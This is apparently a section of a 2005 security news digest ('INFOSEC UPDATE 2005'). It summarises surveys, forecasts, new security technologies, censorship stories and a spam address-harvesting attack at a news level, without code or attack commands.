Sixty-nine percent of 110 senior executives at Fortune 1,000 companies say they are 'very concerned' about insider network attacks or data theft, according to a study by Caymas Systems, a network security technology firm. Only 13 percent says they are not worried at all. Sanjay Uppal, a vice president at Caymas Systems, claims 30 percent of people who come in and work on your average network every day are temporary workers. And that brings up specific threat concerns. But he also says that IT and security administrators should not forget about permanent workers and the havoc they can wreak. Uppal says insider security threats definitely need to be dealt with quickly. Uppal recommends that workers should be limited as to what parts of the network they can access. Someone working in production shouldn't be able to access financials. And someone working in the financial department, should be able to access personnel records and reviews.

INFOSEC UPDATE 2005 -- January 5-6, 2006

Category 31.1	Surveys, studies, audits of security
2005-11-21	survey business continuity data recovery disasters NIST new technology
DHS IAIP Daily; http:	//www.gcn.com/24_33/tech-report/37577-1.html

DATA DISASTER: WHEN CONTINUITY-OF-OPERATIONS PLANS AREN'T ENOUGH

Disasters -- both natural and man-made – require that agencies ensure that data held on IT systems and devices remain accessible in order to support mission-critical operations. Continuity-of-operations plans—those that keep government going in the face of emergencies—are important, but far from foolproof. In a recent survey by Asigra Inc. of Toronto, 75 percent of respondents said their organizations had lost backed-up data because of unreadable, lost, or stolen media. Almost two-thirds of the respondents had run into unreadable backup tapes when trying to recover data. New data-handling techniques not designed for disaster recovery could apply to agencies trying to reconstruct critical information. One application being created by the National Institute of Standards (NIST) and Technology for courtroom investigations is high-resolution images of magnetic data that can tell an investigator when data has been written, erased or altered, said physicist David Pappas, project lead at NIST. The technique, called second harmonic magnetoresistive microscopy, uses powerful magnetic readers designed for server drives to image the fields on other magnetic media, such as tapes and disks. "You're actually taking a picture of the magnetic field above it, rather than just scanning it really fast and averaging the data," Pappas said.

Category 31.1 Surveys, studies, audits of security

2005-11-22 survey study SANS cyber criminal target popular applications network systems

DHS IAIP Daily; http://www.sans.org/top20/ Source: http://fcw.com/article91516-11-22-05-Web

CYBERCRIMINALS TARGETED POPULAR APPLICATIONS, NETWORK SYSTEMS IN 2005

According to the SANS Institute's latest update to its 20 Most Critical Internet Security Vulnerabilities in 2005 report, cybercriminals have launched massive attacks on two largely undefended fronts in cyberspace, leaving government and industry more vulnerable than they have been in years to data theft and security breaches. Ten of the vulnerabilities were in cross-platform applications installed on millions of systems, including backup software, antivirus software, database software, and media players. Three affected network operating systems that control routers, switches, and other devices. Alan Paller, director of research at the SANS Institute, stated: "The bottom line is that security has been set back nearly six years in the past 18 months. Six years ago, attackers targeted operating systems, and the operating system vendors didn't do automated patching. In the intervening years, automated patching protected everyone from government to grandma. Now the attackers are targeting popular applications, and the vendors of those applications do not do automated patching." Since 2003, attackers have infiltrated Defense Department networks by exploiting vulnerabilities in hardware and software.

Category 31.1 Surveys, studies, audits of security

2005-12-15 study information security attacks geeks squatters saboteurs insider threat

DHS IAIP Daily; http://www.theregister.co.uk/2005/12/15/mcafee_internal_security_survey/

GEEKS, SQUATTERS AND SABOTEURS THREATEN CORPORATE SECURITY

Workers across Europe are continuing to place their own companies at risk from information security attacks. This "threat from within" is undermining the investments organizations make to defend against security threats, according to a study by security firm McAfee. The survey, conducted by ICM Research, produced evidence of both ignorance and negligence over the use of company IT resources. One in five workers let family and friends use company laptops and PCs to access the Internet. More than half connect their own devices or gadgets to their work PC and a quarter of these do so every day. Around 60 percent admit to storing personal content on their work PC. One in ten confessed to downloading content at work they shouldn't. Most errant workers put their firms at risk through either complacency or ignorance, but a small minority are believed to be actively seeking to damage the company from within. Five percent of those questioned say they have accessed areas of their IT system they shouldn't have while a very small number admitted to stealing information from company servers.

Category 31.1 Surveys, studies, audits of security

2005-12-30 catalog data theft leakage security breaches catalog report summary resource

Emergent Chaos; Privacy Rights Clearinghouse

CATALOGS OF SECURITY BREACHES

Those looking for summary information about loss of control over data for use in articles or lectures may find the following resources helpful:

* Adam Shostack has put together an extensive list of brief reports on security breaches on his Website. His entries have references but few URLs. By the end of 2005, the breaches catalog included over a hundred cases of data theft and data leakage for the year starting in March. See < http://www.emergentchaos.com/archives/cat_breaches.html >

* The Privacy Rights Clearinghouse has a list of bullet points summarizing hacking incidents, lost backup tapes, compromised passwords, insider attacks, and so on. The incidents start in February 2005 and include estimates of the numbers of victims. The entries have no URLs or citations. Their total of affected people is _at least_ 52 million (!). See < http://www.privacyrights.org/ar/ChronDataBreaches.htm >

31.2 Estimates, guesses, predictions, forecasts concerning security

Category 31.2 Estimates, guesses, predictions, forecasts concerning security

2005-01-03 information technology IT spending fall 2005 poll security spending increase

DHS IAIP Daily; http://www.internetnews.com/stats/article.php/3453831\

POLL: IT SPENDING EXPECTED TO FALL

IT spending in 2005 is expected to fall somewhat according to a new poll from CIO magazine. However, there are certain sectors, including security and storage, that are reportedly expected to rise. The magazine conducted the poll during a one-week period in December that garnered 243 responses from a cross section of industries. Only 6.7 percent of poll respondents indicated that they expected IT spending to increase in 2005, which was a decline of 1.7 percent from the poll's November results (8.4 percent). IT security spending is on the upswing with 60.9 percent of poll respondents indicating that they were planning on increasing spending over the next 12 months. The expected growth in security spending represents a 7.7 percent increase over November expectations (53.2 percent). A number of different studies in 2004 painted a very vivid picture of enterprises' attitudes toward IT security spending. A September Ernst & Young report noted that only 17 percent said spending would increase significantly, and 52 percent thought it would increase only slightly. In July, research firm IDC reported that 59 percent of its survey base indicated that IT security spending would increase.

Category 31.2 Estimates, guesses, predictions, forecasts concerning security

2005-01-12 computer information physical security merge 2005 Forrester Research report

DHS IAIP Daily;

http://news.com.com/Computer%2C+physical+security+expected+t o+merge/2100-7348_3-5534312.html

COMPUTER, PHYSICAL SECURITY EXPECTED TO MERGE

Companies will increasingly integrate physical and computer security systems in 2005, spending over \$1 billion in the United States and Europe, according to a report released this week from Forrester Research. Companies have generally treated physical security as part of the facilities department and computer security as part of the information-technology group. But employee information has increasingly become integrated, allowing businesses to link the two systems, Steve Hunt, an analyst with Forrester Research, said in the report. "Locks, cameras, entry systems, and even guard desks will be upgraded to work with the same computing systems that control computer and network sign-on, identity management and security incident management," he said in the report. Government projects to integrate physical and network security will make up the lion's share of the money being spent, Forrester predicted. Report: http://www.forrester.com/Research/Document/Excerpt/0,7211,36 137,00.html

Category 31.2 Estimates, guesses, predictions, forecasts concerning security

2005-02-08 car virus embedded computers prediction

NewsScan; http://news.com.com/A+virus+may+be+in+your+cars+future/2100-7349_3-5568633.html

NEW STUDY WARNS OF CAR VIRUSES

A report by IBM Security Intelligence Services predicts that viruses spreading to mobile phones, PDAs and wireless networks could infect the embedded computers that increasingly are used to run basic automobile functions. The average new car runs 20 computer processors and about 60 megabytes of software code, raising more opportunities for malfunctions. In addition to the threat facing vehicles, the report noted the fastest growing threat last year was phishing -- a method of deceiving computer users into revealing personal information -- and predicted that activity would grow more serious in 2005. (Reuters/CNet.com 8 Feb 2005)

Category 31.2 Estimates, guesses, predictions, forecasts concerning security 2005-02-10 International Business Machines IBM security report mobile satellite car communications attack 2005 e-mail worm virus PDA

DHS IAIP Daily; http://sys-con.com/story/?storyid=48190&DE=1

IBM SECURITY REPORT PREDICTS MOBILE/SATELLITE ATTACKS IN 2005

According to IBM, results from its 2004 Global Business Security Index Report show mobile devices becoming targets of viruses and worms. IBM, looking at potential security threats in 2005, said this may be the year for the aggressive spread of viruses and worms to handheld devices, cell phones, wireless networks, and embedded computers, which include car and satellite communication systems. The report, written by IBM's Global Security Intelligence Services team, said e-mail-based worms and viruses wreaked havoc on corporate networks in 2004. E-mail worms such as Bagle, Netsky and Mydoom led the pack in the number of variants and overall impact. During the latter part of 2004, a growing number of viruses aimed at PDAs and other mobile devices, such as the Cabir worm, were released. Such worms will likely be used by copycats and may start an epidemic of viruses aimed at mobile devices.

Category 31.2 Estimates, guesses, predictions, forecasts concerning security

2005-03-23 study user blame encouraging spam bad e-mail behavior

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4375601.stm

STUDY BLAMES USERS FOR ENCOURAGING SPAM

A new report lays much of the blame for the ongoing problem of spam at the feet of computer users who open spam messages and even buy products or services advertised in spam. According to the survey, conducted by Mirapoint and the Radicati Group, nearly one-third of users have opened such messages, and one in ten has made a purchase. The report calls such actions "bad e-mail behavior" and said it encourages not just marketers but con artists to continue sending vast amounts of spam. Many adult-themed e-mail messages lure computer users into visiting Web sites that then install spyware or other malicious code. Graham Cluley, senior technology consultant for security firm Sophos, agreed that users bear much of the responsibility for spam's continued presence.

"If no one responded to junk e-mail and didn't buy products sold in this way," he said, "then spam would be as extinct as the dinosaurs." BBC, 23 March 2005

Category 31.2	Estimates, guesses, predictions, forecasts concerning security
2005-06-16	us government report software future projection issues security risk management costs

RISKS; http://www.cnsoftware.org/nss2report/NSS2FinalReport04-29-05PDF.pdf 23 91

SOFTWARE 2015 REPORT FROM CNSS

Jim Horning noted:

>There's a recent report by the Center for National Software Studies that does not seem to have been adequately publicized, and hence has not received the attention it deserves: "SOFTWARE 2015: A National Software Strategy to Ensure U.S. Security and Competitiveness"

Risks loom large in the discussion, including

- * Risk of critical infrastructure failures
- * Risk of sudden and severe economic loss
- * Risk of loss of life and limb
- * Risk of loss of public confidence
- * Risk of loss of our technological edge and leadership

I've posted excerpts from the Executive Summary at both

http://bayosphere.com/node/554 and

http://horning.blogspot.com/2005/06/software-2015.html

<

INFOSEC UPDATE 2005 -- January 5-6, 2006

 Category
 31.2
 Estimates, guesses, predictions, forecasts concerning security

 2005-06-21
 security study Gartner research malicious software impact mobile devices 2007

 DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml?artic

leID=164901703

MALICIOUS SOFTWARE NOT LIKELY TO HAVE LARGE IMPACT ON MOBILE DEVICES UNTIL 2007

Mobile phone and PDA users have more than two years to get ready for a quick-spreading worm, John Pescatore and John Girard, analysts at Gartner research. Client-side anti-virus software meant for cell phones and PDAs "certainly work", but vendors aren't selling them said Pescatore. In part that's because the threat of a fast-spreading malicious worm or virus has been overblown by security vendors. In fact, the conditions for a real threat-one that has the ability to infect more than 30 percent of mobile devices used in the enterprise-simply don't exist. The three factors that must exist before a Slammer- or MSBlast-style attack hits mobile devices, said Pescatore, are the large-scale adoption of smart phones, ubiquitous uses of wireless messaging to exchange executable files, and the convergence of operating systems to the point where one enjoys a majority share of the market. According to Pescatore and Girard, those three conditions won't co-exist until around the end of 2007. Furthermore, they believe that end-point security solutions for smart phones, cell phones, and PDAs are a waste of time because they often fail to block the most damaging viruses.

Category 31.2 Estimates, guesses, predictions, forecasts concerning security

2005-08-03 warning SANS Internet servers attack risk DNS cache poisoning

DHS IAIP Daily; http://news.com.com/DNS+servers-an+Internet+Achilles+heel/2 100-7349_3-5816061.html?tag=nefd.lede

INTERNET SERVERS AT RISK OF ATTACK

In a scan of 2.5 million so-called Domain Name System machines, which act as the White Pages of the Internet, security researcher Dan Kaminsky found that about 230,000 are potentially vulnerable to a threat known as DNS cache poisoning. "That is almost 10 percent of the scanned DNS servers," Kaminsky said in a presentation last week at the Black Hat security event in Las Vegas, NV. The motivation for a potential attack is money, according to the SANS Internet Storm Center, which tracks network threats. Attackers typically get paid for each spyware or adware program they manage to get installed on a person's PC. Information lifted from victims, such as social security numbers and credit card data, can also be sold. Additionally, malicious software could be installed on a PC to hijack it and use it to relay spam. The DNS servers in question are run by companies and Internet service providers to translate text-based Internet addresses into numeric IP addresses. The cache on each machine is used as a local store of data for Web addresses.

Category 31.2 Estimates, guesses, predictions, forecasts concerning security

2005-11-29 cyber crime attack threat risk prediction security expert warning DHS Scott Borg

DHS IAIP Daily; http://www.infoworld.com/article/05/11/29/HNmoreattacks_1.html

SECURITY EXPERT: MORE SOPHISTICATED ATTACKS LIKELY

The cyber attacks of recent years have been relatively unsophisticated and inexpensive compared to the potential of organized attacks, a cybersecurity expert said Tuesday, November 29. Organized attacks by teams of hackers that have members with expertise in business functions and processes -- as well the rudimentary access and coding expertise that many current attackers have -- could have a huge impact on a nation's economy, said Scott Borg, director of the U.S. Cyber Consequences Unit, an agency supported by the U.S. Department of Homeland Security. "We will probably see terrorist groups, criminal organizations putting together combinations of talent," Borg said at the E-Gov Institute's Security Conference in Washington, DC. While past cyber attacks have done relatively small amounts of damage, coordinated attacks on important targets such as the U.S. electrical grid, the banking and finance industry, or the telecommunications and Internet industries could potentially cause many billions of dollars in damage, he said. Most viruses and worms knock out company networks for two or three days at most, but costs would multiply quickly for any coordinated attack on a critical U.S. industry that knocked out service for more than three days, said Borg, an economist.

INFOSEC UPDATE 2005 -- January 5-6, 2006

Category 31.2Estimates, guesses, predictions, forecasts concerning security2005-12-07FBI report terror groups lack denial-of-service Internet attack capability

DHS IAIP Daily; http://abcnews.go.com/Politics/wireStory?id=1383901

FEDERAL BUREAU OF INVESTIGATION: TERROR GROUPS LACK ABILITY TO MOUNT CRIPPLING INTERNET-BASED ATTACKS

Al Qaeda and other terror groups are more sophisticated in their use of computers but still are unable to mount crippling Internet-based attacks against U.S. power grids, airports and other targets, the Federal Bureau of Investigation's (FBI) top cyber crime official said Wednesday, December 7. Investigators keep a close watch on terror groups' use of computers but have not detected any plans to launch cyber attacks against major public institutions in the United States, FBI assistant director Louis M. Reigel said. The government has conducted simulated terrorist attacks on computer, banking, and utility systems, and Reigel said his division of around 1,100 agents treats seriously the prospect of such a strike. FBI cyber experts have noticed progress in the technical mastery suspected terrorists have shown online, he said. Terrorists also have made only infrequent use of stenography, the practice of hiding a text message in another kind of file, typically a picture, Reigel said.

Category 31.2 Estimates, guesses, predictions, forecasts concerning security

2005-12-21 McAfee Avert Labs warning mobile cell phone user alert 2006 threat predictions

DHS IAIP Daily;

http://www.techworld.com/security/news/index.cfm?NewsID=5051 &Page=1&pagePos=9&inkc=0

SECURITY COMPANY WARNS MOBILE USERS TO BE ALERT IN 2006

Rising threat levels for mobile users should come as no surprise, but McAfee's Avert Labs division has marked 2006 down as a potential turning point in the spread of malware to these platforms. Keylogging Trojans, adware, bots and backdoor programs will all hit users with greater frequency in 2006, with smartphone and "converged" users witnessing damage much greater than that seen on PCs because few currently bother to protect themselves. "Consumers are less likely to install mobile security versus PC security because the perceived risk from mobile threats is much less," a company release said. According to McAfee, mobile malware has grown ten times more rapidly than PC threats over any period of one year, and that in general "potentially unwanted programs" (PUPs) have grown by 40 percent in 2005 alone. The problem appears to be the increasing usefulness of Smartphones and PDAs. Having spent years as technological curiosities, they are now being sold to perform a variety of useful but risky operations such as mobile banking.

31.3 New technology with security implications

Category 31.3 New technology with security implications 2005-01-24 machine learning cognitive science artificial intelligence pattern recognition intrusion detection logic programming

DHS IAIP Daily; http://www.newscientist.com/article.ns?id=dn6914

MACHINE LEARNS GAMES "LIKE A HUMAN;" COULD POTENTIALLY DETECT INTRUDERS.

A computer that learns to play a 'scissors, paper, stone' by observing and mimicking human players could lead to machines that automatically learn how to spot an intruder or perform vital maintenance work, say UK researchers. CogVis, developed by scientists at the University of Leeds in Yorkshire, UK, teaches itself how to play the children's game by searching for patterns in video and audio of human players and then building its own "hypotheses" about the game's rules. In contrast to older artificial intelligence (AI) programs that mimic human behavior using hard-coded rules, CogVis takes a more human approach, learning through observation and mimicry. Chris Needham, a member of the CogVis team, says the system's visual processor analyzes the action by separating periods of movement and inactivity and then extracting features based on color and texture. Combining this with audio input, the system develops hypotheses about the game's rules using an approach known as inductive logic programming.

Category 31.3 New technology with security implications 2005-02-15 instant messaging IM off-the-record OTR private encrypted chat no trace Gaim plugin AOL proxy University California Berkeley

DHS IAIP Daily; http://news.zdnet.co.uk/internet/security/0,39020375,3918793 4,00.htm

INSTANT MESSAGING GETS PERFECT FORWARD SECURITY

Two researchers at the University of California at Berkeley have created an add-on to instant messaging (IM) that they claim will enable the participants to identify each other and have a secure conversation without leaving any proof that the chat occurred. The result, dubbed off-the-record (OTR) messaging by security researchers Ian Goldberg and Nikita Borisov, is a plug-in for the Gaim open source instant-messaging client that enables encrypted messages that do not leave a key that could be used to verify that the conversation happened. That attribute, known in cryptography as perfect forward security, also prevents snoopers from reading any copies of the conversation. In order for a secure and deniable IM conversation to occur, both parties need to have the off-the-record program installed on Gaim or use America Online's Instant Messenger with a server set up to be a proxy with software also developed by Goldberg and Borisov.

Category 31.3 New technology with security implications

2005-03-30 grid computing network security threats large scale deployment confidentiality

DHS IAIP Daily; http://www.eweek.com/article2/0,1759,1780849,00.asp

GRID COMPUTING CAN ALLOW SECURITY THREATS

Security experts on Wednesday, March 30, recommended that IT administrators clearly identify and understand the security risks associated with large-scale grid computing deployments. During Ziff Davis Media's Enterprise Solutions Virtual Tradeshow, the pros and cons of grid computing and safe data storage took center stage, with panelists stressing the importance of using best practices to protect the confidentiality of information passed over corporate grid systems. Lenny Mansell, senior security consultant at Triad Information Security Services LLC, warned that greater sharing of information and resources across traditional trust boundaries will result in increased risks that must be addressed as a matter of urgency. Mansell recommends that businesses deploying grid systems identify critical assets and the threats to those assets. Mark Teter, chief technical officer of Advanced Systems Group LLC, said the highly automated manner in which resources are allocated on a grid can be used by a malicious attacker to steal sensitive corporate data. Grid computing is the concept of using computers in the way that utilities use power grids to tap the unused capacity of a vast array of linked systems. Users can then share computing power, databases and services online.

Category 31.3 New technology with security implications 2005-06-07 quantum computer cryptography security guarantee wireless link Massachusetts Harvard Boston University DARPA

DHS IAIP Daily; http://www.newscientist.com/article.ns?id=dn7484

QUANTUM CRYPTOGRAPHY NETWORK GETS WIRELESS LINK

The world's first quantum encryption computer network has been expanded to include a wireless link that uses quantum communications codes. The wireless connection was added to the Defense Advanced Research Projects Agency (DARPA) Quantum Network, a quantum fiber-optic network buried beneath the ground in Massachusetts. The network was built by BBN Technologies with funding from DARPA. It now links ten different sites, including BBN's offices, Harvard University and Boston University. Most modern cryptography rests upon the difficulty of solving very complex mathematical problems used to encrypt data. This makes it theoretically vulnerable to being hacked using dramatic mathematical or computing breakthroughs. By contrast, quantum cryptography near guarantees communications security, using quirks of quantum physics to thwart eavesdropping attempts. Quantum cryptography guarantees security by encoding information as polarized photons which can be sent down a fiber optic cable or through the air. Intercepting these photons disturbs their quantum state, alerting both sides to an eavesdropper's presence.

Category 31.3 New technology with security implications

2005-08-01 car computer systems MP3 Bluetooth protocol risk viruses

DHS IAIP Daily;

http://www.cnn.com/2005/TECH/08/01/viruses.cars.reut/index.html

CAR COMPUTER SYSTEMS AT RISK TO VIRUSES

Car industry officials and analysts say hackers' growing interest in writing viruses for wireless devices puts auto computer systems at risk of infection. As carmakers adjust on-board computers to allow consumers to transfer information with MP3 players and mobile phones, they also make their vehicles vulnerable to mobile viruses that jump between devices via the Bluetooth technology that connects them. The worst that could happen is that the computer's control of engine performance and emissions, navigation and entertainment systems cease to function. That would probably mean an annoying trip to the repair shop or having to reboot the system. Companies so far have seen no reports of viruses in auto systems, and studies have shown it is not easy to transplant a virus into a car, but carmakers say they are taking the risk seriously. The first mobile phone virus, Cabir, has spread to over 20 countries, ranging from the United States to Japan and from Finland to South Africa, using only Bluetooth. Bluetooth is used in car electronics interfaces for monitoring and service. Carmakers say they use the most sophisticated protection for safety equipment such as airbags or motor controls, whereas infotainment systems so far have less stringent safeguards.

Category 31.3 New technology with security implications

2005-08-24 study federal spending IT increase 2005 third quarters

EDUPAGE; http://www.fcw.com/article90331-08-24-05-Web

FEDERAL SPENDING ON IT SURGES IN THIRD QUARTER

Market research firm Input reported a surge in U.S. federal spending on information technology in the fiscal third quarter, with the U.S. Navy as the main source of the spike. The Navy generated almost \$57 billion of the \$67 billion in government awards, a 190 percent increase over fiscal 2004 third quarter data. Federal Computer Week, 24 August 2005

INFOSEC UPDATE 2005 -- January 5-6, 2006

Category31.3New technology with security implications2005-09-14new technology password cracking keylogger keyloggingEDUPAGE; http://news.zdnet.com/2100-1009_22-5865318.html

SOUND OF KEYBOARD CLICKS REVEALS WHAT IS TYPED

Researchers at the University of California at Berkeley have demonstrated that an audio recording of someone typing on a computer keyboard can reveal with surprising accuracy exactly what they have typed. Using commercially available recording equipment, the researchers captured audio of typing and analyzed the sounds using an algorithm they developed. Because keys make different sounds, the system is able to make educated guesses about what key was pressed in what order. The application then applies some linguistic logic, including spelling and grammar checks, to refine the results. After three rounds of revisions, the application was able to identify 96 percent of the individual characters typed and 88 percent of the words. The application was effective even with background noise, such as music or cell phones ringing. Doug Tygar, UC Berkeley professor of computer science and information management and a principal investigator of the study, said the project should raise concerns about the security risks of such a technology. "If we were able to figure this out," he said, "it's likely that people with less honorable intentions can--or have--as well." ZDNet, 14 September 2005

Category 31.3 New technology with security implications 2005-10-10 nanotechnology research NSF funding ethical privacy questions security biomedicine

EDUPAGE; http://chronicle.com/daily/2005/10/2005101005n.htm

NSF FUNDS NANOTECHNOLOGY RESEARCH

Researchers at several universities have received grants from the National Science Foundation (NSF) to study the social implications of nanotechnology. Until now, most funds for nanotechnology projects have supported efforts to develop the technology itself rather than to study its potential effects. Over the next five years, Arizona State University at Tempe and the University of California at Santa Barbara will receive \$6.2 million and \$5 million, respectively, to study the possible societal side effects of manipulating matter at the atomic level to create new substances and extremely small devices. The University of South Carolina and Harvard University will receive smaller grants to support existing projects. Among the speculative uses of nanotechnology is an idea to create tiny sensors that could reside within a human body and monitor its health. Such sensors would presumably spawn a host of ethical and privacy questions. Moreover, the prospect of creating new types of compounds at the atomic level raises concern about possible risks to the environment. Research at Arizona will focus on security, privacy, and biomedicine; at Santa Barbara, research will address social perceptions of the risk inherent in nanotechnology. Chronicle of Higher Education, 10 October 2005 (sub. req'd)

Category 31.3New technology with security implications2005-11-16MIT \$100 laptop production One Laptop per Child OLPC Nicholas Negroponte
Tunisia conference

EDUPAGE; http://chronicle.com/free/2005/11/2005111602t.htm

MIT DEBUTS \$100 LAPTOP

At the World Summit on the Information Society in Tunisia, Nicholas Negroponte, director of MIT's Media Lab, will show an early version of a \$100 laptop that he announced in January. Negroponte has said that such a device would bring the fruits of technology to millions of schoolchildren in developing nations, spanning the digital divide and spurring economic development. According to those involved with the project, a number of countries have expressed interest, including Brazil, China, Egypt, Nigeria, Thailand, and South Africa, though development remains before orders can be placed. In addition, the governor of Massachusetts has called on his state to provide the new laptops to every middle and high school student. Critics of the program argue that people in developing nations often need more basic supplies, such as food and clean water, and some also note that the educational value of laptops for every student has not been proven. The devices use the Linux operating system and flash memory; they do not include cameras or DVD-ROM drives, as originally planned. They run on C batteries that can be recharged using a hand crank attached to the device. Chronicle of Higher Education, 16 November 2005

Category 31.3 New technology with security implications 2005-12-14 MIT \$100 laptop production Quanta Taiwan manufacturer One Laptop per Child OLPC Nicholas Negroponte

EDUPAGE; http://hardware.silicon.com/desktops/0,39024645,39155040,00.htm

QUANTA TO PRODUCE MIT'S \$100 LAPTOPS

Computer maker Quanta has been chosen to manufacture the \$100 laptops that are the brainchild of MIT's Nicholas Negroponte and supported by the One Laptop per Child (OLPC) organization. Based in Taiwan, Quanta is the world's largest maker of laptops, building the devices for companies including Dell and HP. Some believe that supplying the developing world with inexpensive computer technology will be a boon for educational and economic development of those nations, and the notion of an inexpensive laptop is part of that vision. Previous attempts to build and deploy similar technology have failed, and detractors argue that the \$100 laptop program doesn't stand much of a chance. Nevertheless, recruiting a major hardware manufacturer signals the level of support that the project enjoys. Of the announcement, Negroponte said, "Any previous doubt that a very-low-cost laptop could be made for education in the developing world has just gone away." Silicon.com, 14 December 2005

Category 31.3 New technology with security implications

2005-12-14 information security new channel alerts AT&T

DHS IAIP Daily; http://www.networkworld.com/news/2005/121405-att-security.html

AT&T LAUNCHES 24-HOUR SECURITY NEWS SERVICE

AT&T Wednesday, December 14, turned on a 24-hour security news service that streams to customers of the carrier's Internet Protect service. The always-on Webcast includes regular programming that is interrupted by security alerts that AT&T deems important enough to let customers know about right away. "We're building a security geek channel," said AT&T CSO Ed Amoroso during his keynote address at Interop New York, during which he announced the service. Programming includes lectures on technologies, interviews with corporate CIOs as well as twice-daily news updates. The alerts will call attention to worms and viruses and suggest ways to deal with them, Amoroso says. These supplement the existing alerts that AT&T would send along as part of Internet Connect. Amoroso acknowledged that most threats come from inside corporate networks, and he characterized badly written software as the biggest threat to network security, but he said AT&T's service could help deal with threats coming from outside.

31.4 Outsourcing

Category 31.4	Outsourcing
2005-03-07	terrorist India outsourcing industry suicide attack disaster recovery plans IBM Intel Texas Instruments Accenture Wipro Infosys

DHS IAIP Daily;

http://www.infoworld.com/article/05/03/07/HNterroristsindia_1.html

TERRORISTS TARGET INDIA'S OUTSOURCING INDUSTRY.

India's software and services outsourcing industry is a likely target for a terrorist group operating in the country, local police warned on Sunday, March 6. But Indian outsourcing and software companies said they are prepared to cope with the threat. Documents seized from three members of the Lashkar-e-Toiba (LeT) terrorist group killed in an encounter with the police on Saturday, March 5, revealed that they planned to carry out suicide attacks on software companies in Bangalore, Karnal Singh, joint commissioner of police in Delhi, told reporters. LeT is demanding independence for the Indian state of Jammu and Kashmir. "The terrorists planned to hit these companies in an effort to hinder the economic development of the country," Singh said. IBM, Intel, Texas Instruments, Accenture, Wipro, and Infosys Technologies are among those with operations in Bangalore. Most of the technology companies in the city have already set up disaster recovery plans and special disaster recovery sites that could be used in the event of a terrorist attack, according to Kiran Karnik, president of the National Association of Software and Service Companies in Delhi.

32.1 Censorship in the USA

Category 32.1 Censorship in the USA

2005-01-31 high school first amendment free speech

NewsScan;

http://www.knightfdn.org/default.asp?story=news_at_knight/releases/2005/2005_01_31_firstamend.html

SCHOOL NEWS: FIRST AMENDMENT? WHAT FIRST AMENDMENT?

A University of Connecticut survey of more than 100,000 high school students has found that educators are failing to give high school students an appreciation of the First Amendment's guarantees of free speech and a free press. Commissioned by the Knight Foundation, the \$1 million, two-year study found that nearly three-fourths of high school students either do not know how they feel about the First Amendment or admit they take it for granted; seventy-five percent erroneously think flag burning is illegal; half believe the government can censor the Internet; and more than a third think the First Amendment goes too far in the rights it guarantees. Knight Foundation chief executive Hodding Carter III says, "These results are not only disturbing; they are dangerous. Ignorance about the basics of this free society is a danger to our nation's future." (Knight Foundation 31 Jan 2005)

32.2 Censorship outside the USA

Category 32.2 Censorship outside the USA

2005-02-07 cell phone UK moral London prostitution censorship filtering advertising

NewsScan; http://wsj.com/

U.K. CELLPHONE COMPANIES REJECT ROLE OF 'MORAL ARBITER'

A London city councilman wants cellphone companies to strangle the vice trade by declining calls to the numbers shown on business cards soliciting prostitution, but most cellphone companies say it isn't their job to interfere with a customer's service. A Vodaphone spokesman says, "We are not content to play the role of moral arbiter." The decision is supported by the English Collective of Prostitutes, which says that women who are unable to advertise in phone booths may be forced to walk the streets, a more dangerous activity than operating from an apartment. Although prostitution itself (though not street solications) is legal in the U.K., the city councilman says a crackdown is crucial because the world's oldest profession has been booming in London ever the fall of the Berlin Wall, when organized crime gangs began to coerce young women from Eastern Europe and Russia to work for them. (Wall Street Journal 7 Feb 2005)

Category 32.2 Censorship outside the USA 2005-02-14 China crackdown café censorship shutdown Internet pornography subversion politics schools

NewsScan; http://ap.washingtontimes.com/dynamic/stories/C/CHINA_INTERNET_CRAC KDOWN?SITE=DCTMS&SECTION=HOME

CHINA'S CRACKDOWN ON INTERNET CAFES

Chinese authorities shut down more than 12,575 Internet cafes in the last three months of 2004 to create a "safer environment for young people in China," according to the Xinhua News Agency. With 87 million people online, China has the world's second-largest population of Internet users (after the U.S.), and the government actively promotes Internet use for business and education. However, communist authorities block access to Web sites they deem pornographic or subversive and Internet cafes are banned from operating near schools. (AP/Washington Times 14 Feb 2005)

Category 32.2 Censorship outside the USA

2005-03-21 China censorship blocking college campus Webpages discussions politics pop culture pornography

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=7958355

CHINA BLOCKS ACCESS TO CAMPUS WEB PAGES

Chinese officials have blocked outside access to a number of online bulletin boards operated by universities. Such bulletin boards have become popular vehicles for discussion about topics including politics, pop culture, and pornography, subjects which Chinese authorities have not been shy about censoring. Tsinghua University's Shuimu Tsinghua bulletin board was one of those restricted recently, joining bulletin boards at Wuhan University and Nankai University, as well as one at Peking University that was shut down entirely. According to a student from Tsinghua University who asked not to be named, the Ministry of Education's reasoning for blocking outside access was "because the bulletin board was only supposed to be a platform for internal exchange within the university." He added, "Students are calm about it, but it seems that non-student users are angry because they can no longer get access." Reuters, 21 March 2005

23

88

33.2 Spam, spim, spit & splogs

Category 33.2	Spam, spim, spit ở splogs
2005-05-07	distributed denial-of-service DDoS spam unsolicited commercial e-mail flooding zombies restrictions SMTP servers

RISKS

RUMPELSTILTSKIN ATTACK FLOODS NETWORKS

Brett Glass reported on a wave of fraudulent traffic from zombies testing for real e-mail addresses by generating likely candidates. "As described in a paper I wrote several years ago (where I coined the term for lack of a better existing one), it is an e-mail address harvesting attack in which a machine attempts to send e-mail messages to randomly guessed addresses at a domain. It might try common first names -- for example, 'john@domain.com,' 'joe@domain.com,' and 'mike@domain.com' -- and then proceed to common last names and combinations of names and initials. (In some cases, we've seen some very unusual guesses that appear to have been extracted from lists of AOL screen names.) If mail for a guessed address is accepted, the "zombie" machine records the address and sends it back to its 'master' -- a controlling machine which adds it to a database of addresses which will become targets for spam."

Glass concludes with recommendations:

>Because the "zombies" are generally not mail servers, the most effective way to mitigate these attacks -- though it might offend the sensibilities of the "Orthodox End-to-Endians" -- is for ISPs and enterprised to block outgoing port 25 traffic from client computers that are not designated as, or intended to be, mail servers. These computers should send outgoing mail only through a designated mail server, which in turn monitors them for excessive outgoing traffic.

ISPs' firewalls should monitor and log attempts to send such traffic, so that infected machines can be spotted and cleansed of their infections.

As I've mentioned above, there will be some people who are philosophically opposed to the notion of restricting Internet traffic so as to limit abuse. Alas, such idealism is inappropriate for the real world, where spam is now consuming so many resources that it threatens not only to choke off not only legitimate e-mail but to consume the lion's share of ISPs' bandwidth.<

Category 33.2	Spam, spim, spit & splogs		
2005-05-09	anti-spam Bayesian filters probabilitic methods countermeas commercial e-mail	ures unsoli	cited
RISKS		23	88

